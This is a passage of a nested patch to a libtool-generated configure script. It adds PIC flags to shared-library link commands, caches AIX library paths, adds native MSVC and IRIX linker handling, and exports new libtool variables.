-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -8496,8 +9010,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -8543,8 +9057,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -8674,7 +9188,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- if test x$gcc_no_link = xyes; then
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test x$gcc_no_link = xyes; then
- as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
- fi
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-@@ -8690,22 +9210,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -8717,7 +9244,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- if test x$gcc_no_link = xyes; then
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test x$gcc_no_link = xyes; then
- as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
- fi
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-@@ -8733,22 +9266,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -8793,20 +9333,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -8867,7 +9450,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -8875,7 +9458,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -8891,7 +9474,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -8915,10 +9498,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -8997,26 +9580,39 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- if test x$gcc_no_link = xyes; then
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ if test x$gcc_no_link = xyes; then
- as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
- fi
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9101,7 +9697,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -9120,9 +9716,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -9698,8 +10294,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -9732,13 +10329,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -9830,7 +10485,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -10644,7 +11299,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 10647 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -10688,10 +11343,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -10750,7 +11405,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 10753 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -10794,10 +11449,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12267,13 +12922,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -12288,14 +12950,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -12328,12 +12993,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -12388,8 +13053,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
